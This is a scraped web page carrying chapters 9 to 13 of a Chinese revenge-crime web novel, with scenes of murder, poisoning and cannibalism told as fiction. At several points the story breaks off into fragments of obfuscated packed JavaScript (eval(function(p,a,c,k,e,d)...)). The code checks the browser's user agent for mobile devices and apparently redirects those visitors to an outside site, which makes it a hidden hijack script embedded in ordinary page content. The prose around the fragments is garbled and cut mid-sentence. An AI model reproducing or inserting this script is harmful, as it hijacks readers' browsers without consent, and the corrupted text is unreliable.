l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362061|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无一人，待河水上涨木桥便岌岌可危，届时必会坍塌。 她围着木桥绕了两圈，确认万无一失，这才急匆匆走回马车。 “何老，我们快些回去。” 在倾盆的大雨落下之前，马车稳稳当当地驶进了沈家。 苏尔茗从容地迈着步子，解开轻薄的披风，递给了候在一旁的芸娘，往花厅里走去。 芸娘小声提醒：“老爷还未回，应该已经在路上了。” 苏尔茗点点头，“多谢。” 晚膳的饭菜刚刚上齐，沈万金踏着风雨迈过门槛，借着芸娘端着的金盆净了手，用细帕仔细抹净，随手将帕子丢进盆里。 苏尔茗望着掀开前摆缓缓入座的沈万金，闻到了他身上一丝突兀的霉腐味道，曼声问：“今日遇到了棘手的事？幸好，你爱的花胶汤温度正好入口。” 沈万金睨着她，反问道：“可是怕我往后事忙，冷落了晴儿？” 苏尔茗筷子一顿，语气平静：“不算是，今日外头大雨，自然多在意夫君些。” 沈万金缓缓接过芸娘盛好的汤，斯文地捏着勺子吹了吹，仔细地抿了口，“不错。” “今日有只臭老鼠出现在院里碍事。按你的意思，为晴儿积福，放了他一条生路。” 她沉默着放下汤勺，轻轻地点点头。 随后沈万金亲手为她添了一勺汤，用那种成竹在胸的眼神看着她，问道：“爹娘可说，晴儿何时入府？” 她抬起头，看向沈万金令人作呕的虚伪面容，神情真挚地一字一句道：“应该，就快了。” 下一个，死的就是你。 …… 暴雨夜，雨幕将眼前的方寸之地切割得发白，细长的雨滴坠落在积水的路面，溅起半明半暗的水花。 赵春花矮小的身影披着蓑衣，躲在那城北木桥附近的屋檐下避雨，静静等待她的鱼儿。 不多时，呼啸的雨幕中出现了杂音。 “行了，差不多扔这，死外面跟我们无关。”男人的声音十分不耐烦，“那边就是成片的院房，他爬也能爬回去了。” “砰”地一声，一坨黑乎乎的重物被随行的二人丢下。 “这天做这差事，送到这已经算仁慈了！” “冷死了，走走走，回去喝点烧酒！” 那几人抱怨着，踩进雨幕里啪嗒啪嗒的脚步声，很快消失在远处。 王虎在被摔下后半晌，才迟钝地睁开双眼，露出迷茫的神色，入目满眼的黑，让他以为还在那地狱般的噩梦里。 他颤抖着蜷缩在地上，捂住头，喃喃自语：“求求你，别打了，别杀我……” “喂。”女子软糯好听的声音响起。 “别打我，我还有妻子……她可以赚钱，她就在城东医馆做医女，她可以替我还钱！” “……嘁，啷个麻卖批……” 女子鄙夷的语气，终于让王虎回了神。 他勉强地翻了身，指指自己的腿，软声哀求：“恩人，你可否帮我回家？我家就在那河对岸的巷子里。” 他心里想着他上身的伤，但他没钱瞧病，只能…… “恩人，若你方便，再帮我去城东的医馆说一声。那医女是我夫人，她可以付你报酬！” “好啊！”女子爽快地应声。 片刻后，王虎借着女子递来的一根木棍缓缓起身，在女子的搀扶下往木桥挪去。 暴涨的河水擦着桥底呼啸而过，浑黄的泥沙从河底卷起，击在河岸，溅起几寸的浪花。 他们在木桥前站定，女子扶着王虎的脚步一顿，“呀”了声。 “哎你等等，我落了个东西！” 10. 第 10 章 王虎只觉身侧一松，女子在雨幕下的身影渐渐隐匿。 他撑着木杆，半步也移动不得，只能站在桥边呆呆地望着那河水，等女子回来。 背后却忽然有了动静，他正要回头。 “砰！” 麻木地痛感突然再次被唤醒，汇聚在他的背部，带起一股往前直冲的力道。 他身体像块破布，不受控制地向前飞去，砰地摔在木桥上，眼冒金星，嘴里的叫骂声还未出口。 喀啦一声，木桥轰然断裂。 “噗通！” 赵春花看到那浑浊的河水，溅起半丈高的水花。 王虎的身影随着破碎的木板和湍急的水流，顷刻间便消失在湍急的水流中，他望向赵春花的最后一眼，充满了惊恐和绝望。 “呐，为了踢你这一脚，我练了十几日，盼了十几日。”赵春花收回高高抬起的脚，拍了拍裤间的雨水。 即便衣裤几近湿透，她仍旧笑着，站在桥边笑着挥手道别，“滚吧，人渣！” 轰隆的雷声里，雨势渐渐减弱，屋檐下的雨倾泻如注，垂落在阶前的青砖上。 沈家的书房里，萦绕着浓浓的沉水香，沈万金正在书案前提笔写字。 苏尔茗在书案两步之遥的地方站着，沉默不语。 半晌，沈万金满意的放下笔，将那张红底烫金的请帖拿起，她只能看清其中一角，他自顾自的说着： “晴儿虽是姨娘，但毕竟是你的亲妹妹，不可亏待。我打算寻个由头，在她入府那日大办宴席。” 他扭头看向她的脸，彻底将那请帖展给她看，笑着问道：“茗儿，十日后便是个吉时，你明日便给各家下帖，如何？” 那纸上几行字自有风骨，却入目刺眼—— 沈某偶得一物。 桌上油灯火苗如豆，盈亮的光线映得熏香的白烟，宛如空中游龙。 满室的安静里，沈万金等着她的答复。 看清那几行字后，苏尔茗的唇角却一点点落下，再难维持那点虚伪的笑意。 沈万金的手突然收回，将那请帖啪地合拢，扔到书案上，语气里带着质问的寒意：“你不说话，这是不愿？” 她身体不受控制地瑟缩了下，回了神。 她慢慢地抬起头，平静地盯着沈万金阴云密布的脸，轻声道：“夫君有所吩咐，我必定照做。只是，那后院的箐箐……我该如何同妹妹交代？” 沈万金古怪地笑了声，没有回答，他将毛笔甩到笔洗中，溅起一片尚未融合的墨点。 随即大步出了屋，徒留给她翩然风雅的背影，往箐箐院子里去了。 她眼神落在那请帖上，咬紧了牙关。 * 两日后。 苏尔茗已将大部分请帖送往与沈家交好的乡绅士族，不仅限于恩自县，甚至还有临近县城及京中。 请帖皆是沈万金亲自书写，可见他十分看重这次宴席。 原本由头是赏物秋宴，不知怎的苏晴进府的事情，在后院忽然就走漏了风声。 “姨娘们人心惶惶，偏生那风口浪尖的箐箐，还像往常那样，仿佛半点未受影响。”芸娘一边帮她梳妆，一边说着后院的消息。 她垂了眼，想起箐箐刚入府时爱穿的那抹艳粉，淡淡地笑了声：“即便是同一棵树上的叶子，也有所不同，或许她心中有数，叫人分不走她的宠。” “她倒确有几分本事，入府不过才月余，姨娘里面数她荣宠最多，赏赐也最多。若不是夫人……”芸娘声音一顿，警觉自己多话，噤了声，“是芸娘僭越了。” 她摆摆手，示意无碍。 芸娘自从帮她放走妹妹后，时常会愣神，如今苏晴进府的事情定下，更是明显变得啰嗦。 苏尔茗垂下眼，认真思索着撬动芸娘反水的可能。 另一边，城东医馆。 近日因为狂风暴雨，秋意突袭恩自县城，城中百姓多染风寒，故而门口前来瞧病取药的人，难得排起了长龙。 “让一让，让一让！”忽然有个声音在人群中突兀的响起，伴随着急切的脚步声，挤过人群直入大堂。 “快救救这个孩子，他不知饿了几天，眼瞅着就只剩下一口气了!” 刘大娘抱着一个约莫两三岁的孩童，孩童脸上几无血色，嘴唇发乌。 林蕙和白须老者舒柏，在百忙之中抬眼瞧去。一见是孩子，她下意识疾步过去，走近后定睛一看，竟觉得那孩子有几分眼熟。 她这一犹豫，被舒柏瞪了一眼，将孩子抱了过去。 不待她细问，刘大娘已经口沫横飞地开始解释：“那城北有一户出了人命，屋里死了个女人，这两日天冷，今日臭了才被我夫君发现报了官。” “这孩子就在那屋里躺着，若不是摸着还有一息尚存，恐怕也一并盖了白布去。你们这里是恩自县最好的医馆，千万要救救孩子！” 林蕙眼睫一颤，似有所觉地垂了眼。 她声音平静地像是一汪死水，说道：“孩子是无辜的，你放心，我们会救他。” 刘大娘听她这句承诺，才松了一口气。 舒柏看了一眼神色看似平静的林蕙，垂眼看那面色发白的孩童，探了呼吸和体温，连忙吩咐仆役：“快去街上粥铺，买一碗米汤来！” 他一手抱着孩子，便急匆匆地亲自去药房里拿药。 林蕙默默地跟在他身后，想要接过孩子，让舒柏少一个碍事的包袱。可舒柏将身子一侧，声音带着不容拒绝的力量。 “林蕙，你去前面帮小卢配风寒药。这孩子的事，你不用管。” 林蕙伸出去的手停在半空，指尖颤了颤，点了点头。 等她走远，舒柏听到了一声若有似无的叹息，他捻着胡子看了看怀里的孩子，“你啊……不知该说你是有福，还是无福。” 喝过米汤后，幼童的体温渐渐回升，青白的小脸也慢慢有了血色。药房来寻医问诊的人，也终于仅剩堂内这十数人。 医馆外的光线已经由明亮变得有些昏沉，略微暖黄的光，斜斜地透在堂内的木柱上，落下温热的一片光斑。 佩刀与衣甲间摩挲的声音，就这么突如其来地从光线里出现，迈过了门槛。 为首的衙役单手叉腰，神情严肃地扫视了医馆，大声道：“谁是王虎的妻子林蕙？” 林蕙在看到这一队衙役时，心中便有了数，她假装惊慌地一路小跑，走到他们面前，压着声音答：“官爷，我就是林蕙。您……这是……？” 那衙役似乎急着交差，将她从头到脚打量了一通，“那你跟我去趟衙门，有要事。” 他扭头便想走。 “哎，官爷！”她连忙走到衙役面前，拦住他的去路，看到那人眉头一皱，她低眉顺眼地解释：“官爷，您这不说清楚，我以后可不好在城里混了……” 她让开半边身子，堂内全是好奇且惊诧的目光，带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林蕙神色坦然，意味深长：“官爷，可还要强行带我回府衙调查？” 那衙役转了转眼珠，松口道：“既然如此……今日我便不多叨扰。” 说罢，几人匆匆消失在门口，堂内恢复了安静，落日的余晖再次映入堂中。 林蕙静静地立在门口，听到舒柏一声极低的问询，似喉间无奈的叹息： “林蕙，你先前多有顾虑，可是怕给我添麻烦？如今……你还要拒绝拜我为师吗？” 她身子一颤缓缓转身，看着头发花白、面容沧桑的舒柏，看清他脸上的恳求和遗憾，终是双眼含了泪。 此生，她何其有幸，还能重来。 日薄西山，最后那一点亮光，终是消失在县衙大门的屋脊上。 从城东回到县衙，领头的衙役身上披着落日最后的余温，踏入了阴森冷肃的府衙内，缓缓俯身行礼。 “大人，蒋英带人去城东询问了王虎的妻子林蕙，其两日前雨夜里为人接生，有数人作证，并无动手时机。” 堂内明镜高悬之下，坐着一身官袍的张鸿志，他面白体宽，腰间的玉带将他身形横着一分为二，上面那半，听了蒋英的话，气得呼哧带喘。 他抬手将一盏茶甩过去，“不是让你将她带来，直接认罪伏法？！” “没有罪人，你让我怎么把这案子收场？如何维护我的名声？！” 11. 第 11 章 茶杯携着怒意和滚烫的温度，卷着呼啸的风声而来。 蒋英脚下半步不敢退，硬生生接下那一杯茶，前襟湿透，他抹了一把烫得有些发红的脸。 “大人，林蕙过于狡猾，并非乖顺之人，若是硬来，怕污了大人的一世英名。正巧近日西北边的平远县也不太平，不如……” 他声音顿了顿，抬头看向目光精明的张鸿志，见到大人向他招招手，他立刻上前小声耳语。 “不如我们将此事推给平远县流窜的盗贼，用死牢里的人犯，像上次那般做个替死鬼。” 张鸿志手指放在桌上连着敲了两下，手边立刻出现了一盏泡好的热茶，他掀开茶碗吹了吹，缓缓喝下一口，咂摸着嘴。 蒋英低头弓着身，只能看见他锦缎衣袖间泛着冷硬的光，心里直打鼓。 半晌，张鸿志语气里再无半分责怪：“你先下去吧！” 等到堂内只剩下他和何师爷，只听何师爷开口提醒：“大人，那王虎……一身的伤痕，可是沈家的手笔。” “哼！要不是为他遮掩，我还至于这么束手束脚？” 张鸿志将茶狠狠地往案几上一杵，呸地吐了口茶叶，“你让他明天午时，来沐春楼寻我。” 死个臭虫闹得人尽皆知，沈家不出点血怎么行？！ 翌日，清晨风中已经带了几分凉意，沈家花厅里布好的早膳，冒着一缕缕的白烟，被闯进的风不断吹弯。 苏尔茗捧起那碗老鸭姜汤，缓缓喝了一口，面上不带一点浮油，辛香而味醇，熨帖干涸一宿的喉咙，暖意一直涌入腹中。 按照往日用膳的时间，她整整喝完了一碗汤，才见沈万金从院门口迈着急切的步子出现。 进了花厅，他这才露出一丝难得懊恼的表情，边速速在盆中净手，边沉声解释：“近日秋意越发明显，一场秋雨过后，连人都有些疲倦。秋乏，多睡了一阵。” 苏尔茗将一勺汤送入口中，低头看着碗里映出的自己，眼中情绪不明。 她知道昨夜他定是宿在箐箐那处，但箐箐此人……她有些看不透。 “自我入府，夫君如此困倦还是第一次。”她露出个缓和的笑意，亲自给他盛了一碗汤，递了台阶，“可是最近事忙，太累了？” 沈万金眼神凌厉地睨了她一眼，见她神色坦然并不像试探，才缓和了表情。 “可能吧。今日午膳不必等我，张大人约我在沐春楼，商议城北修桥的事情。” 他似乎很渴，缓缓端起碗，喉间上下吞咽了两次，声音带着几分湿润，继续道：“三日前暴雨，那木桥被冲垮，我命人连夜去修，改成石桥。” “那木桥垮塌，可有人受伤？”苏尔茗状似无意地问。 “当啷”一声，瓷勺落在空碗中，吓得侍奉的丫鬟一激灵。 一道审视的目光落在她头顶。 她低着头看着瓷碟里的笋丁肉包，慢条斯理地咬了一口。 片刻后，只听沈万金咳了一声，随口敷衍：“未曾听说。” 她缓缓将一整个包子吃完，用细绢帕子擦了嘴，心里痛快便多吃了些许。 沈万金捻着筷子瞧她，语气难掩惊讶，“难得见你有此好胃口，你若喜欢，叫人常做。” “……是觉得快见到妹妹，难免有些激动？” 她淡淡嗯了声，胃里涨得有些发硬，应道：“算是吧。” 还有七日，妹妹便要入府，留给她的时间并不多。 明日王虎下葬后，她们姐妹三人便可在城郊庄子，定下沈万金的死局。 苏尔茗戴着帷帽，站在人头喧闹的街头，看着眼前的布告栏，心中一片冰冷。 杜鹃和王虎死于平远县城流窜的一名恶匪之手，他将杜鹃残忍杀害后，凌虐王虎并将其推入河中，致其丧命。 “这昨日发现的尸首，今日就已经破案，张大人真乃神人也！” “我们恩自县有这样的县令，何愁什么治安大患？跟破获平远杀人案的，那位来自京中的大人，叫什么……陆远，也不相上下。” “陆远是咱们燕国有史以来，最年轻的大理寺少卿！他亲自去平远县破案，不到十日就破获压了半年的杀人奇案，真是少年奇才！” “嘁，咱们张大人只不过就是年岁大了些，要是能去大理寺效命，指不定经验更丰富，哪有他陆远什么事！” “别吵，咱们恩自县有张大人和沈老爷，就偷着乐吧！沈老爷派人新修的石桥，过几日便可通行了……” 苏尔茗默默地听着，眼前那告示字字不提王虎借了印子钱，也不提王虎的伤势，更与他沈万金无半分瓜葛。 百姓皆被其二人的表面伪装所蒙蔽，想要不引人起疑地除掉沈万金，难如登天。 这时，一道声音突兀的插入。 “我怎么听说，那平远县的连吃五人的嫌犯，昨夜逃到了咱们这呢？” 公告栏前，鼎沸的人声像是被泼了冷水，立刻鸦雀无声。 百姓们缓缓扭过头，看到说出这话的那名男子，人人面露恐惧。 有人鼓起勇气问：“吃……吃人？” 那男子操着奇怪的口音，思索了一下说道：“对，听说他只吃阴时出生的命格之人，平远县因为这事家家都不敢再过生辰，生怕被掏心挖肝！” 一道惊呼的女声，吸引了众人的注意力。 “糟了！昨日城西有个算命先生，说我爹娘命格皆阴，这可如何是好！” 苏尔茗带着帷帽的身子微微一动，不动声色地从人群中退出，看向女子惊呼的方向，那女子侧着身子，她看不清眉目。 热情善良的街坊们还在劝，“姑娘你别说了，快回家躲着吧！” 其他人也面色忧愁地纷纷离开告示栏前，口中说着要告诫家人谨慎小心，却并未有一个相信张县令可以护得满城安宁。 苏尔茗唇角讽刺地勾起，正要转身离去，看清了方才说话的那女子，酷似苏晴的面容。 她下意识动了唇，险些喊出来，堪堪压在喉间的声音，逼得她心跳如擂鼓。 幸好，只是府里的箐箐。 她今日难得未穿艳粉，一身月白的素色衣裙，头上插满了华贵的攒金簪子，看起来不伦不类。 思及箐箐方才说的话，她想起沈万金从不准姨娘们出门，更别说归家，她竟可出府，足见沈万金的疼爱。 那她……为何当众说出这些？ 苏尔茗投去的目光似乎引来箐箐的警惕，在即将要扭头的时候，她先一步转身融入人流中，消失在那道视线里。 箐箐站在那一步不动，看着四散的人群，唇角扯出个意味不明的笑。 她掏出面纱遮住面容，走到一旁的巷子里，随手扔了一包银子过去。 接住银两的那人，正是方才告示栏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他挠了挠头，看着文琴干脆利落远去的身影，莫名觉得有些凄凉。 箐箐脸上的笑意，在转身的那一瞬便荡然无存。 她想起自己曾经的笃定，鼻子一酸，抬头看了看灯火通明处的沈家，一头扎进了昏暗的小巷。 巷子里漆黑一片，常常伴有莫名地骚味和腐臭，偶尔路上会响起老鼠被惊吓的吱吱声。 两侧都是昏暗拥挤的破屋，窗棂上破着大大小小的洞，秋冬日里寒风可以从这间，刮到巷子里最里那间，毫无阻碍。 箐箐脚下一步不停，直到站在屋外打扫得最干净的那家门口，推开门，里面是同其他户一样破旧的屋脊。 院子中的妇人穿着格格不入的新衣衫，头戴小指粗的金簪，见到她便下意识眉头皱起，口中责骂从那宽宽的齿缝中漏出： “你怎么回来了？可是伺候不好沈大人，他将你赶了出来？我重金给你买的秘笈，专讨男子欢心，你都当耳旁风了吗？” 箐箐听到娘亲第一句责骂的时候，面色却平静地像是早已习惯。 她柔声反驳，唇角挂着笑意：“娘，我今日得了老爷允许，特意回来探望您和爹爹。正好我们一家许久未见，我上次托人带的银子可还够用？” “哼！还算知道孝顺！”妇人翻了她一眼，扭身往灶间去，麻利地戴上了围裙，“要不是我和你爹费尽心思托人给你送去沈家，你可有如今的好日子？说不定往后与那穷书生，都住不上咱家这样的破屋！” 箐箐神色未变，垂着眼走到她娘亲的身后，从腰间缓缓摸出了一包药粉，倒在了身后滚烫的粥米中。 那粉末落在粥水中结成几坨，随着木勺的搅动，转瞬不见。 她看似懵懂的眼瞳里，染上了莫名的情绪：“娘，往后你们不必再受苦了。” 12. 第 12 章 破屋里点了两只烛，将方寸之地照得透亮，从破旧的窗棂里流出几缕，散在院中。 屋内布满泥垢的棕黑色旧木桌上，放着三只崭新的瓷碗，碗里的粥米冒着热气，拢着中心那两碟小菜，一荤一素。 箐箐母女二人尚未入座，条凳上就早早地坐着一个男人，手边一个泥壶，另一只手指甲间还带着黑泥，搓着那花生米红色的外衣，丢进口中。 文野懒洋洋地看了箐箐一眼，目光落到她腹部，声音带着醉意：“怎么，还没动静？那天不是折腾到快天亮？” 母亲文氏一听，把手中的筷子啪地往桌子上一戳，睨了箐箐一眼，“还不快坐下吃饭？他醉了，你也糊涂了？” 箐箐一反常态没有立刻乖顺地坐下，反而木着脸漠然地环顾四周。 文氏将筷子分给文野，想要递给箐箐的时候，见她还在身后站着，不耐烦地责骂：“现在知道屋子破了？前几天让你寄钱回来换个院子租住，你还推脱？神经！” 她粗暴地把筷子塞在箐箐手中，端起自己的碗，粥米还没入口。便听到一旁，仿佛投喂牲口时，发出疯狂吸入饭食的呼噜争抢声。 桌上唯一的那碟酱牛肉，被文野一筷子夹去大半，口中还在嫌弃：“就这么点？都不够老子塞牙缝。” 青菜他看也不看，用牛肉将粥送下去大半碗，唇边胡子上还挂着米汤，打了个大大的饱嗝。 文氏极为不悦地皱眉，却未说一句话。 箐箐缓缓坐在桌上，鼻前喷过来父亲口中腐臭的味道，也未遮住口鼻，面上全是轻松愉悦的神情。 她夹起最后那几片薄薄的牛肉，放到娘亲碗里，轻声说：“娘，以后有的是好日子。” 不待文氏开口，旁边半撑着手臂的文野，突然砰地倒在了木桌上，像是醉晕了过去。 文氏脸色忽然褪去血色，下意识看向箐箐同样慌张的眼，颤抖的手指触到他鼻前的呼吸，猛地松了一口气。 她端起粥碗喝下一大口米汤，将气喘匀，这才开口：“醉在饭桌上，成什么样子！” 箐箐眼睁睁地看文氏喝下粥，松开了紧抠在桌下的手指，夹起一片青菜放进口中慢慢咀嚼，苦涩和寡淡的味道从口腔漫延。 直到响起“砰”地动静，文氏也昏迷在木桌上。 她抚着衣袖，慢条斯理地将筷子放在一口未动的粥碗上，从胸前徐徐摸出一把锋利的匕首。 刀锋划过温热而柔软的皮肤，涌出粘稠且带着腥气的液体。 一男一女，被掏空了心肝，齐齐地躺在院中，身体逐渐变得僵硬发白。 箐箐静静地坐在院子里，看着不远处啃噬内脏的野狗，细眉圆眼的脸上，头一次有了恶毒怨恨的表情。 她站起身，走进屋里将蜡烛吹熄，再出来时，身上已经换上了往日常穿的艳粉色衣裳，屋内渐渐跳动起隐隐的火光，飘出一缕黑烟。 正当她要迈过院中的尸首，想要推门而出，颈间忽然横了一柄剑。 那剑锋在漆黑的巷子里，却能比天上的月色更加盈亮，一缕凉意贴着她的皮肤，带着与她手上同样的腥气。 沙哑而厚重的声音响起，“听说你，伪装我杀人？” 箐箐呼吸一滞，迟疑地收回了脚步。 那人自巷中扭身出来，将她眼前最后一缕光遮住，身后的火光映得他脸上明灭可见，带着疯癫的杀意。 “忘了自报家门，我是平远县的高奉。”他看着不远处地上开膛破肚的夫妻，面无表情地讥讽，“我不爱吃年纪大的老东西。” 箐箐抬头看他一眼，语气冷意更甚：“你一个逃犯，同我费什么时间？要杀便杀，你若是早来一步，说不定我还能从狗嘴里分你一口吃的。” 他用剑身拍了拍箐箐的面颊，看着那满脸麻木的女子，勾唇一笑：“你倒是有意思。” 身后的火光逐渐漫延，他提起箐箐脖颈后的衣料，不顾她脚下的拖沓，将她拖出了破屋。 他的声音响在箐箐耳边，像是低声的诱惑：“我缺钱，你若是能给我指个路，我可以顺手帮你个小忙。不然，你也可以死在今日。” 钱？ 箐箐从袖袋里摸出在文氏头上拔下的金簪，抬手递过去，那人却表情嫌弃地接过，贪得无厌地补充：“这点不够，逃不过那朝廷走狗陆远的法眼。” 她垂下眼，心里浮现那清冷的面庞，一个声音低声告诉她：“说吧，她不无辜，她会阻碍你的计划。” 她听见自己开口，声音回荡在昏暗的巷子里，却无一家亮起烛火。 “从这里往北，灯火通明的那一家姓沈，沈家的西边正院住着县城首富沈万金的夫人苏尔茗，你可以寻她。” …… 半个时辰前，天刚擦黑，一份来自庄子上的账册匆匆送往沈家后院。 芸娘自外院丫鬟手中接过账册，脚下生风地进入正院。她抬头看了看天色不早，晚些时候沈老爷回来，便该用晚膳了。 正院卧房窗外树影婆娑，一盏烛灯亮在临窗罗汉床的矮几上，一旁斜依着个手握书卷的女子。 芸娘越过门槛，走到苏尔茗面前，将账册往桌上轻轻一放，连忙拿起薄毯，盖在她身上。 “夫人，夜里秋风凉，我替您把窗户关上吧。” 苏尔茗眸光落在那卷账册上，将毯子往身上提了提，“关上吧，你也去外间歇歇脚，等下用膳时再喊我。” 等芸娘的身影彻底消失在屋内，苏尔茗才将那账册拿起，从中间抽出来一封薄薄的家书，是父亲写来询问苏晴入府一事。 父亲同她想的一样，担心苏晴性子活泼惹事，靠女儿攀附权贵也非他们所愿，更不用说姐妹共事一夫。 苏尔茗苦涩一笑，爹娘都不晓得沈万金的真面目，尚且不愿嫁妹妹。若是知道他后院还有十几个抢来的良家女做姨娘，又该如何为她提心吊胆？ 桌上那盏烛火映得她眼睛酸涩，她摸了摸信纸上父亲的字迹，放在鼻前闻着那股淡淡的熟悉墨香。 半晌，她叹了口气，终是让那封信化成了灰烬。 不多时，外面传来芸娘的声音，“夫人，该去前厅用膳了。” 苏尔茗徐徐从罗汉床上撑起身子，看到不远处剩下的最后一份请柬，是沈万金交代他要亲自送给县令大人的那份。 她用手扶着 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他声音微哑，带着不容拒绝的强势，说道：“夫人上次的伤似乎已经养好，多日未去你房中，今日便留下陪陪你。” 苏尔茗咕咚咽下一口热汤，滚烫的温度逼得她想要张口获得些凉意，她硬是生生忍下痛意，闷着声点了点头。 为了妹妹，她不得不再虚与委蛇，试探出沈万金的弱点。 因为她的乖顺，席间，沈万金颇为满意地为她夹了几筷时蔬，偶尔轻咳两声。 苏尔茗借着喝汤的时机留心看向沈万金，发现他脸上带着微不可察的疲倦，和眼下淡淡的青黑，似乎看起来只是有些劳累。 可他如此在意自己的名声和身体，怎会有如此的纰漏？ 她正要张口试探，院外忽然响起匆匆地脚步声，直奔花厅。 “老爷，出大事了！张大人派人来报，箐箐姨娘家里糟贼人谋害，只有姨娘侥幸夺回一条命！” 沈万金霍然起身，怒喝：“怎么回事！箐箐人呢？” “姨娘被送到了城东的医馆，刚醒就嚷着要见老爷您，也不肯喝药，说是想要您带着蜜饯去……去安抚她！” 他只思考了片刻，立刻吩咐：“芸娘，带上府医，打包些吃食，随我去城东。” 在他即将抬脚迈过门槛，扭身向苏尔茗投来自上而下的目光，不见方才的半分旖旎，像是施舍般淡声道：“你总是运气不好，下次吧。” 苏尔茗静静地望着他们忙乱的身影消失在月亮门后，缓缓将筷子放下，落在碗边“叮”地一声。 她原本略带湿意的眼眸经帕子一抹，只留眼尾一抹红，嘴角的笑意转瞬即逝。 苏尔茗慢悠悠地起身，沿着曲径通幽的小路往正院去，外院各处的丫鬟被芸娘管束地格外严格，迈步间只能听到枝丫被风吹得沙沙作响。 她抬步进了正房，命外院的侍女为她备下热水，刚合拢门，一柄剑刃轻飘飘地落在她喉间。 高大的身影将她的影子完全覆盖住，来人声音沙哑，语气不善。 “你就是苏尔茗？” 13. 第 13 章 那柄剑锋一侧还染着血，带着腥气飘散在空中，令人背后生寒。 男子身上风尘仆仆的味道，让苏尔茗一下回想起今日在告示栏前，得知平远县嫌犯逃窜一事，她额间硬生生滚下一滴冷汗。 她艰涩地发问：“你想要钱？还是想要什么？我都可以给你……只要你把刀挪开。” 高奉看着眼前女子微微颤抖的身躯，轻蔑地一笑。 比起那个心狠手辣杀掉自己父母的女人，似乎差得远。 那女人硬是主动要他一掌打晕后，丢在巷子里。如今还在医馆中假惺惺地做戏，就是为了除掉这么一个货色？ 他将刀锋贴的更紧，逼得苏尔茗喉间连吞咽都不敢，玩味地声音喷在她的耳廓：“你说的那些我都要，还有你的命。” 她呼吸瞬间乱了。 三两盏烛火将屋内照得通明，一个忙忙碌碌的身影映在窗棂之上。 苏尔茗在屋中四处翻找，将所有值钱的物什都拿出来放到桌案上，那人借着桌布将刀刃上的血色一抹，森冷的锋刃直直瞄准她。 “这刀，随时可以出现在你身上的任何一处，你莫要耍花招。” 她翻找值钱物件时，发觉屋中毫无任何可以保护她的东西，那条沈万金用来抽她的藤鞭，在方才就成了磨刀的一条断枝。 她被迫重新站回到那眼神疯狂的男人面前。心里暗自盘算，若是在出城前被人发现她失踪，或许还有转圜的余地。 这时，门外突然响起敲门声。 粗使丫鬟怯怯地声音响起，“夫人，热水好了，我帮您送进屋内可好？” 苏尔茗下意识想要答应，那柄剑却在高奉手中像一条蓄势待发的银蛇，直取她喉咙。 他做了口型：“让她进来。”随即，他闪去了屏风之后。 那个小丫鬟进门后闷头只顾脚下，一左一右盛满热水的两只木桶，直奔那屏风的方向。 沈家规矩，外院的丫鬟不可入夫人房间，更眼神乱瞟。但芸管事和大丫鬟们不在，夫人有吩咐也只能由她们应承。 她咬紧牙关憋着通红的脸，缓缓往屏风挪去，那躲在暗处的银蛇与她的脖颈几乎就要相缠。 一双纤纤玉手忽然拉住小丫鬟的肩膀，吓得她打了个激灵。脚下的步子急停，桶内的温水随着力道一晃，撒了些许落在地板上，飘着的白烟在空中扭动。 “夫人……？”丫鬟稚嫩面庞和懵懂的眼神，让苏尔茗终究不忍。 她只得皱起眉，大声呵斥：“看你笨手笨脚的，还不快滚？” 那丫鬟脸色煞白，“砰地”地将桶往地上一放，慌张地跑到门口，还边用袖子抹了泪，红着眼眶将门带上，怯怯地看了她最后一眼，消失在门后。 “哟，夫人仁慈。” 高奉从屏风后走出来，指尖擦着那刀锋，用舌尖微微舔上刀刃，面不改色地划出一道血痕，卷入口中。 他用剑指着她，命她将热水倒入木桶，随后他缓缓进入木桶中沐浴。 那柄剑，依旧指着她的肚腹。 “既然你放走了我的干粮，那你就来替她。原本受人之托，只想给你个痛快。” 苏尔茗坐在不远处的鼓凳上，手里握着一杯早已冷掉的茶水，猛地喝掉一口，声音听起来十分苦涩：“她为何要你杀我？” “谁知道你们有什么过节？”高奉想到那女人平静地掏出自己爹娘的心肝，眼中露出一丝狂热，言语中染上些许兴奋：“或许，你挡了她的路。” 苏尔茗垂着头不再言语，她甚至不曾与箐箐正式地见面说上一句话。 许是因为苏晴要入府，她便要下手为强，先除掉她们两姐妹。 而高奉……更非什么能听进去她苦衷的善类，他是个吃人的疯子，她手无寸铁。 她手死死地攥紧茶杯，骨节绷得发白。 天微微亮，沈家门房前燃着一支蜡烛将息未熄，灯盏被熏得发黑。 小厮正靠着木门打瞌睡，未等到一夜未归的沈老爷，就瞧见夫人的马车缓缓地出了府。 过了两刻钟，何老系着腰带出现在车马房，揉着眼打了个哈欠，“夫人的车呢？” 小厮看了看何老，又抻着脖子往外瞧了眼，纳闷：“你刚刚不是驾着车出去了吗？” 二人面面相觑。 安静的街道上空无一人，只有马车木轮滚过的吱呀声，以及马儿困顿的鼻息。 城门处缓缓透出一丝光亮，漆黑巍峨的远山在城门逐渐变宽的缝隙间缓慢生长。此时的县城还蒙着一层雾，被光亮一照，露出月金色的朦胧感。 两匹快马从城外疾驰而来，卷着飞扬的尘土，混在雾中看不清面目。 马车缓缓行驶在城门的隘口，守卫一见马车上陆家的家徽，熟练地放行。 城门外，竹年拿出令牌，大声亮明身份：“我家主子乃大理寺少卿陆远，有要事进城！” 守卫上前仔细查看，片刻后，喊道：“放行！” 木制的栅栏被移开，城内的马车率先一步从城内出来，陆远和竹年连忙勒马，马儿打着急促的响鼻，不得不为其让路。 陆远看着那熟悉的沈家族徽，视线落在那车前的马夫身上，正巧有风将车帘卷起，遮住了那车夫的半边身子。 那车夫还带着一个竹编斗笠，难以辨认。 他看着那马车驶出城门后，车轮很快掀起了尘烟，微微拧眉。 竹年出声提醒：“主子，再晚一步，说不定高奉便跑了！” 